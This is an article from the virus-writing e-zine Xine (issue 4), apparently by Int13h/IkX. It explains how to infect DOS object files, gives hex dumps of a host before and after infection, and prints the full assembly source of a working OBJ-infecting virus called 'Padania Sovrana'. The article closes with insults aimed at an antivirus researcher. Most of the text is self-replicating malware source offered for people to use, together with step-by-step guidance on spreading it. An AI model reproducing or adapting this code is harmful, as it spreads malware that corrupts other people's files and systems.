/-----------------------------\ | Xine - issue #4 - Phile 108 | \-----------------------------/ Comment # %%%%%%%%%%%%%%%%%%%%%%%%% INFECTING OBJs %%%%%%%%%%%%%% by Int13h/IkX ฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿ The first virus which implements .OBJ files infection was the one called Shifting Objective. His coder was Stormbringer of Phalcom/Skim. It was a virus which infects every OBJ file with IP set to 100h, that means files that will be COM programs when compiled. There are just few virus that infects OBJ files. Lets remember some of them: Shift_OBJ, Ace of Spades, Kuarahy, Zhengxi & DDT. Just five, very few considering that there are thousands of viruses. There are a lot of reasons. One of them is that an OBJ file isn't a very used structure, a virus won't spread arround the world just infecting OBJs. These files are usually part of coders's hard disks. Another reason maybe is the obscurity of these kinda files. Well, it does not care. We will spill some light about this topic in this little and quick OBJ infection tutorial. Object files are organized as a sequence of records of 4 bytes. There are a lot of record types, the first byte of the record is the record type, the descriptor and the next two bytes represents the size of the file, the last byte is a checksum byte. In Kuarahy I didn't modified the checksum value and TLINK compiles infected files without problems, it seems that compilers ignores this byte. Some of the field descriptor in- teresting for virus are the following: 080H = This is the start of every OBJ file 0A0H = This means code, not compressed, raw code 0A2H = This means compressed code 08AH = This is the last field, the OBJ ending module If you are reading the field 0A0H or the 0A2H one, you must know that after the four bytes header there is a word that represents the offset in memory where the piece of code will be. Then, for a COM file, the first 0A0H or 0A2H you find must be 0100H, because COMs begins with IP=0100H, for the PSP thing. Well, lets begin with the infection stuph. To infect OBJs, we will work this way: we will read all the field descriptors, if the readed field is 0A0H or 0A2H we will read the next word of the file, that is the offset in memory where that part will go, we must add virus size to that word and write it again to the file. Do the modifications for all the fields. Look the virus code for pointer's movement. When you find the 08AH, it means that you have reached the OBJ ending module. There you must add your virus module, it must look like this: VirusField: db 0A0h ; Normal code dw Size+3 ; Size of the beast+3 db 01 dw 100h ; IP=100h, then it will be COM Write your virus module, and then your virus code. Following that, you have to write the OBJ ending module. Lets see: อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ORIGINAL OBJ FILE (before the infection) ฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿ Description Offset in memory ---------------------------------------- Header .... Module 1 100h Module 2 400h Module 3 500h Final module .... MODIFIED OBJ FILE (after the infection) ฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿ We assume that virus lenght is 100h Description Offset in memory ---------------------------------------- Header .... Module 1 200h Module 2 500h Module 3 600h Virus 100h Final module .... THE COMPILED OBJ ฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿ ORIGINAL [Code of original program] INFECTED [Virus | Code of original program] อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ The following is the hex-dump of an uninfected OBJ file: 00000000: 80 0C 00 0A 62 61 73 75 - 72 61 2E 61 73 6D 7D 88 ....basura.asm}. 00000010: 1F 00 00 00 54 75 72 62 - 6F 20 41 73 73 65 6D 62 ...Turbo Assemb 00000020: 6C 65 72 20 20 56 65 72 - 73 69 6F 6E 20 32 2E 30 ler Version 2.0 00000030: B9 88 12 00 40 E9 30 91 - 06 25 0A 62 61 73 75 72 ....@.0..%.basur 00000040: 61 2E 61 73 6D 5A 88 03 - 00 40 E9 4C 96 02 00 00 a.asmZ...@.L.... 00000050: 68 88 03 00 40 A1 94 96 - 0C 00 05 5F 54 45 58 54 h...@......_TEXT 00000060: 04 43 4F 44 45 96 98 07 - 00 48 02 01 02 03 01 10 .CODE....H...... 00000070: 96 0C 00 05 5F 44 41 54 - 41 04 44 41 54 41 C2 98 ...._DATA.DATA.. 00000080: 07 00 48 00 00 04 05 01 - 0F 96 08 00 06 44 47 52 ..H..........DGR 00000090: 4F 55 50 8B 9A 06 00 06 - FF 02 FF 01 59 88 04 00 OUP.........Y... 000000A0: 40 A2 01 91 *A0 06 00 01 - 00 01 **CD 20 6B 8A 07 00 @.......... k... 000000B0: C1 10 01 01 00 01 9B ^^^^ Offset in memory. COM File=100H REFERENCES ---------- * = Orig. field of the file ** = Code of the hoste, just an INT 20h to exit do DOS อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ And this is the same hoste, but infected by the virus, look carefully for the changes in the A0 and A2 fields. Check also the viral and ending module. 00000000: 80 0C 00 0A 62 61 73 75 - 72 61 2E 61 73 6D 7D 88 ....basura.asm}. 00000010: 1F 00 00 00 54 75 72 62 - 6F 20 41 73 73 65 6D 62 ...Turbo Assemb 00000020: 6C 65 72 20 20 56 65 72 - 73 69 6F 6E 20 32 2E 30 ler Version 2.0 00000030: B9 88 12 00 40 E9 30 91 - 06 25 0A 62 61 73 75 72 ....@.0..%.basur 00000040: 61 2E 61 73 6D 5A 88 03 - 00 40 E9 4C 96 02 00 00 a.asmZ...@.L.... 00000050: 68 88 03 00 40 A1 94 96 - 0C 00 05 5F 54 45 58 54 h...@......_TEXT 00000060: 04 43 4F 44 45 96 98 07 - 00 48 02 01 02 03 01 10 .CODE....H...... 00000070: 96 0C 00 05 5F 44 41 54 - 41 04 44 41 54 41 C2 98 ...._DATA.DATA.. 00000080: 07 00 48 00 00 04 05 01 - 0F 96 08 00 06 44 47 52 ..H..........DGR 00000090: 4F 55 50 8B 9A 06 00 06 - FF 02 FF 01 59 88 04 00 OUP.........Y... 000000A0: 40 A2 01 91 *A0 06 00 01 - 57 02 CD 20 6B **A0 5A 01 @.......W.. k.Z. 000000B0: 01 00 01 ***B4 1A BA 60 EA - CD 21 B4 4E 33 C9 BA 15 ......`..!.N3... ^^^^ Offset in memory. COM File=100H 000000C0: 02 CD 21 73 30 B4 1A BA - 80 00 CD 21 BE 37 01 BF ..!s0......!.7.. 000000D0: 00 FA 8B C7 B9 05 00 F3 - A5 A4 BE 57 02 BF 00 01 ...........W.... 000000E0: 57 B9 50 C3 33 DB 33 D2 - FF E0 F3 A4 33 F6 33 FF W.P.3.3.....3.3. 000000F0: 33 C0 33 C9 C3 BA 7E EA - B8 02 3D CD 21 72 1F 93 3.3...~...=.!r. 00000100: 33 ED E8 9E 00 3C 8A 74 - 6E 3C 8C 74 11 3C A0 74 3....<.tn<.t.<.t 00000110: 19 3C A2 74 15 B8 01 42 - 33 C9 CD 21 73 E4 B4 3E .<.t...B3..!s..> 00000120: CD 21 B4 4F CD 21 73 CD - EB 9B 52 B8 01 42 33 C9 .!.O.!s...R..B3. 00000130: 33 D2 CD 21 52 50 B4 3F - BA 12 02 B9 03 00 CD 21 3..!RP.?.......! 00000140: 0B ED 75 10 45 81 3E 13 - 02 00 01 74 07 FA 83 EC ..u.E.>....t.... 00000150: 06 FB EB CA 81 06 13 02 - 57 01 5A 59 51 52 B8 00 ........W.ZYQR.. 00000160: 42 CD 21 B4 40 B9 03 00 - BA 12 02 CD 21 5A 59 B8 B.!.@.......!ZY. 00000170: 00 42 CD 21 5A EB 9E B8 - 01 42 B9 FF FF BA FD FF .B.!Z....B...... 00000180: CD 21 B4 40 B9 06 00 BA - 0C 02 CD 21 B4 40 BA 00 .!.@.......!.@.. 00000190: 01 B9 57 01 CD 21 B4 40 - BA 02 02 B9 0A 00 CD 21 ..W..!.@.......! 000001A0: E9 7B FF B4 3F B9 03 00 - BA 1B 02 CD 21 A0 1B 02 .{..?.......!... 000001B0: 8B 16 1C 02 C3 8A 07 00 - C1 10 01 01 00 01 9B A0 ................ 000001C0: 5A 01 01 00 01 01 57 02 - 2A 2E 6F 62 6A 00 8A 07 Z.....W.*.obj... 000001D0: 00 5B 50 41 44 41 4E 49 - 41 20 53 4F 56 52 41 4E .[PADANIA SOVRAN 000001E0: 41 20 62 79 20 49 6E 74 - 31 33 68 2F 49 4B 58 2E A by Int13h/IKX. 000001F0: 20 47 72 65 65 74 73 20 - 74 6F 20 6D 79 20 66 72 Greets to my fr 00000200: 69 65 6E 64 20 62 30 7A - 30 21 8A 07 00 C1 10 01 iend b0z0!...... 00000210: 01 00 01 9B REFERENCES ---------- * = Orig. field of the file (just a program that exits to DOS with INT 20h) ** = Field added by the virus *** = Beginnig of viral code อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ We added virus size to offset in memory of the file. Then we wrote the virus to the end with IP set to 100h. Then, the compiler will write virus first and following it, the hoste's code. To restore control you must copy the hoste's code to 100H and give it control. To do this I move some code at the end of the segment. The code just copied all the hoste's code to 100H and then gives it the control. INFECTED COM (when compiled) ฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿฿ OFFSET ฺฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฟ 0 ณ P S P ณ รฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤด 100H ณ V I R U S ณ รฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤด Virus's size ณ ORIGINAL HOSTE ณ ภฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤู Heap... อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; This is a very simple runtime OBJ infector, it infects objects files ; with IP=100h, that is, files that will be compiled to COMs. It is very ; easy to understand, just follow the code and read comments. Have fun! ; Int13h ; ; P.S.: compile to COM, tasm sovrana.asm /m3 | tlink /t sovrana.obj .model tiny .code org 100h Size equ (offset EndViruz-offset PADANIA_SOVRANA) PADANIA_SOVRANA: mov ah,1ah ; Reallocate DTA mov dx,60000d ; to the final zone of COM segment int 21h FindOBJ:mov ah,4eh ; Find first file xor cx,cx mov dx,offset Vixtims ; *.obj int 21h jnc Open_File ; Open if found... Restore:mov ah,1ah mov dx,80h ; Repoints DTA to original place int 21h mov si,offset Copier ; Little code mov di,64000 ; Where to copy mov ax,di mov cx,5 ; Five words rep movsw movsb ; ...and one byte mov si,offset EndViruz ; Original hoste's code shifted mov di,100h ; To 100h push di ; Stack this address mov cx,50000 ; Generic Lenght xor bx,bx ; Blank BX xor dx,dx ; Clear DX jmp ax ; JMP to Copier code Copier: repe movsb ; Do the shifting xor si,si xor di,di ; Clean registers xor ax,ax xor cx,cx ret ; And brings control to 100h Open_File: mov dx,60000d+1eh ; Filename (founded by 4e/4f function) mov ax,3d02h ; Open in read/write mode int 21h jc Next ; Can't be opened xchg bx,ax ; Move file handle xor bp,bp ; Clear our flag OtherField: call Reading ; Read 3 bytes cmp al,08ah ; Ending field jz LastField cmp al,08ch ; It have external definitions :( jz Next cmp al,0a0h ; Normal code, lets modify it jz Infect cmp al,0a2h ; Compressed code jz Infect PointIt:mov ax,4201h xor cx,cx ; Move pointer to the following field int 21h jnc OtherField Next: mov ah,3eh ; Close the file int 21h mov ah,4fh ; Look for the next OBJ int 21h jnc Open_File ; If found, open it jmp Restore ; Restore control... Infect: push dx mov ax,4201h xor cx,cx xor dx,dx int 21h push dx ax ; Memorize current pointer location mov ah,3fh mov dx,offset Input ; Read the next 3 bytes mov cx,3 ; Here we will manipulate the offset int 21h ; in memory where that part will go or bp,bp ; Check flag to see if is the first A0 jnz NotTheFirstA0 inc bp ; Change flag state cmp word ptr [Input+1],100h ; IP must be 100h, otherwise file je NotTheFirstA0 ; is already infected or will be EXE cli sub sp,6 ; Fix the stack (pop ax ax ax) sti ; poping the 3 words we pushed jmp Next ; Look for another phile NotTheFirstA0: add word ptr [Input+1],Size ; Add virus size to offset in memory pop dx cx push cx dx mov ax,4200h ; Move pointer back int 21h mov ah,40h mov cx,3 ; Write modified field mov dx,offset Input int 21h pop dx cx mov ax,4200h ; Correct pointer position int 21h pop dx jmp PointIt LastField: mov ax,4201h mov cx,0ffffh ; Move pointer to the last field (8a) mov dx,0fffdh int 21h mov ah,40h mov cx,6 mov dx,offset VirusField ; Write a field for our virus, with int 21h ; IP=100h then when compiled we will ; have Virus+Hoste mov ah,40h mov dx,100h ; Write virus now mov cx,Size int 21h mov ah,40h mov dx,offset Ending ; And now write the clasic mov cx,10 ; ending module int 21h jmp Next ; Check for another file Reading:mov ah,3fh ; OBJ field descriptor reader routine mov cx,3 mov dx,offset Buffer int 21h mov al,byte ptr ds:[Buffer] ; Field type mov dx,word ptr ds:[Buffer+1] ; Size of the field ret ; Every OBJ file I tested finish with these byte sequences, it is the ; object file ending module Ending db 08ah,07h,00h,0c1h,010h,01h,01h,00h,01h,09bh VirusField: db 0A0h ; Normal code dw Size+3 ; Size of the beast+3 db 01 dw 100h ; IP=100h, then it will be COM Input db 0,0,0 Vixtims db '*.obj',0 Buffer db 0,0,0 PaDaNia_LiBRe db "[PADANIA SOVRANA by Int13h/IKX. Greets to my friend b0z0!" EndViruz label byte int 20h End PADANIA_SOVRANA อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Well. That was all. If you have some questions or comments you can reach me at: int13h@antisocial.com. The idiot russian AVer known as Eugene Kasperspig said that my virus fail when infecting OBJs. Then, you must try to compile the OBJs infected by this one to see the true. Maybe that stupid AVer must try to compile the files with TLINK, because compiling files with EDLIN.COM is really hard. Bye! CD13